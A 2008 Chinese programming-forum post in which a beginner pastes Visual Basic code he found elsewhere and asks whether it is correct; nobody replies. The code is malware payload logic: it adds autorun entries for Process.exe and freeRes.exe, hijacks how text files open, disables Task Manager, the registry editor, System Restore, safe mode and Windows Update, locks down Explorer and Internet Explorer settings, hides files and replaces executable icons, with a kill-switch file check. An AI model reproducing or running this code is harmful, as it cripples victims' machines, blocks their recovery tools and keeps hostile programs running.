| 网站首页 | 业界新闻 | 小组 | 威客 | 人才 | 下载频道 | 博客 | 代码贴 | 在线编程 | 编程论坛
欢迎加入我们,一同切磋技术
用户名:   
 
密 码:  
共有 650 人关注过本帖
标题:这些代码对吗?
只看楼主 加入收藏
我是一只菜菜鸟
Rank: 1
等 级:新手上路
帖 子:146
专家分:0
注 册:2007-9-29
收藏
 问题点数:0 回复次数:0 
这些代码对吗?
别人那里看来的,不知道对还是错的,问下你们

wsh.Regwrite "HKLM\software\microsoft\windows\currentVersion\run\", MyGetWinDirectory & "system32" & "\Process.exe" '写开机启动
wsh.Regwrite "HKCU\software\microsoft\windows\currentVersion\run\", MyGetWinDirectory & "system32" & "\freeRes.exe" '写开机启动
wsh.Regwrite "HKEY_CLASSES_ROOT\txtfile\shell\open\command\", MyGetWinDirectory & "system32" & "\Process.exe" & " %1" '写记事本关联
wsh.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\system" + "\" + "DisableTaskMgr", "1", "REG_DWORD" '禁用任务管理器
wsh.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" + "\" + "DisableRegistryTools", "1", "REG_DWORD" '禁用注册表编辑器
wsh.Regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" + "\" + "DisableSR", "1", "REG_DWORD" '禁用系统还原
wsh.Regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL" + "\" + "CheckedValue", "0", "REG_DWORD" '隐藏文件
wsh.Regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\OptionalComponents\IMAIL" + "\" + "Installed", "1""REG_SZ"
wsh.Regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\OptionalComponents\MAPI" + "\" + "NoChange", "1", "REG_SZ"
wsh.Regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\OptionalComponents\MAPI" + "\" + "Installed", "1", "REG_SZ"
wsh.Regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\OptionalComponents\MSFS" + "\" + "Installed", "1", "REG_SZ"
wsh.Regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue", 0, "REG_DWORD"
wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserContextMenu", "1", "REG_DWORD"
wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserOptions", "1", "REG_DWORD"
wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserSaveAs", "1", "REG_DWORD"
wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoFileOpen", "1", "REG_DWORD"
wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\Advanced", "1", "REG_DWORD"
wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\Cache Internet", "1", "REG_DWORD"
wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\AutoConfig", "1", "REG_DWORD"
wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\HomePage", "1", "REG_DWORD"
wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\History", "1", "REG_DWORD"
wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\Connwiz Admin Lock", "1", "REG_DWORD"
wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\HomePage", "1", "REG_DWORD"
wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\SecurityTab", "1", "REG_DWORD"
wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\ResetWebSettings", "1", "REG_DWORD"
wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoViewSource", "1", "REG_DWORD"
wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Infodelivery\Restrictions\NoAddingSubScriptions", "1", "REG_DWORD"
wsh.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFileMenu", "1", "REG_DWORD" '禁用文件夹选项
wsh.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp\NoRealMode", "1", "REG_DWORD" '禁用安全模式
wsh.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun", "1", "REG_DWORD" '隐藏开始菜单
wsh.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoTrayContextMenu", "1", "REG_DWORD"
wsh.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSMHelp", "1", "REG_DWORD"
wsh.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoNetHood", "1", "REG_DWORD"
wsh.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoWinKeys", "1", "REG_DWORD"
wsh.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetFolders", "1", "REG_DWORD"
wsh.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRecentDocsMenu", "1", "REG_DWORD"
wsh.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoWindowsUpdate", "1", "REG_DWORD"
wsh.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetTaskbar", "1", "REG_DWORD"
wsh.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFavoritesMenu", "1", "REG_DWORD"
wsh.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDriveTypeAutoRun", "149", "REG_DWORD" '打开自动播放

wsh.Regwrite "HKCR\exefile\DefaultIcon\", MyGetWinDirectory & "system32" & "\duck.ico"
wsh.Regwrite "HKCR\txtfile\DefaultIcon\", MyGetWinDirectory & "system32" & "\duck.ico"
wsh.Regwrite "HKCR\dllfile\DefaultIcon\", MyGetWinDirectory & "system32" & "\duck.ico"
wsh.Regwrite "HKCR\batfile\DefaultIcon\", MyGetWinDirectory & "system32" & "\duck.ico"
wsh.Regwrite "HKCR\inifile\DefaultIcon\", MyGetWinDirectory & "system32" & "\duck.ico"
wsh.Regwrite "HKCR\comfile\DefaultIcon\", MyGetWinDirectory & "system32" & "\duck.ico"
wsh.Regwrite "HKCR\regfile\DefaultIcon\", MyGetWinDirectory & "system32" & "\duck.ico"
wsh.Regwrite "HKCR\cmdfile\DefaultIcon\", MyGetWinDirectory & "system32" & "\duck.ico"
wsh.Regwrite "HKCR\inffile\DefaultIcon\", MyGetWinDirectory & "system32" & "\duck.ico"

wsh.Regwrite "HKLM\SOFTWARE\Classes\exefile\DefaultIcon\", MyGetWinDirectory & "system32" & "\duck.ico"
wsh.Regwrite "HKLM\SOFTWARE\Classes\txtfile\DefaultIcon\", MyGetWinDirectory & "system32" & "\duck.ico"
wsh.Regwrite "HKLM\SOFTWARE\Classes\dllfile\DefaultIcon\", MyGetWinDirectory & "system32" & "\duck.ico"
wsh.Regwrite "HKLM\SOFTWARE\Classes\batfile\DefaultIcon\", MyGetWinDirectory & "system32" & "\duck.ico"
wsh.Regwrite "HKLM\SOFTWARE\Classes\inifile\DefaultIcon\", MyGetWinDirectory & "system32" & "\duck.ico"
wsh.Regwrite "HKLM\SOFTWARE\Classes\comfile\DefaultIcon\", MyGetWinDirectory & "system32" & "\duck.ico"
wsh.Regwrite "HKLM\SOFTWARE\Classes\regfile\DefaultIcon\", MyGetWinDirectory & "system32" & "\duck.ico"
wsh.Regwrite "HKLM\SOFTWARE\Classes\cmdfile\DefaultIcon\", MyGetWinDirectory & "system32" & "\duck.ico"
wsh.Regwrite "HKLM\SOFTWARE\Classes\inffile\DefaultIcon\", MyGetWinDirectory & "system32" & "\duck.ico"

wsh.Regwrite "HKLM\Software\CLASSES\.reg\", "txtfile"
End Sub

Private Sub Timer6_Timer()
success% = FileExists%(MyGetWinDirectory & "system32" & "\killme.ini")
If success% = True Then
Timer1.Enabled = False
Sleep 1000
End
End If
End Sub
搜索更多相关主题的帖子: 代码 
2008-01-03 21:31
快速回复:这些代码对吗?
数据加载中...
 
   



关于我们 | 广告合作 | 编程中国 | 清除Cookies | TOP | 手机版

编程中国 版权所有,并保留所有权利。
Powered by Discuz, Processed in 0.015381 second(s), 7 queries.
Copyright©2004-2024, BCCN.NET, All Rights Reserved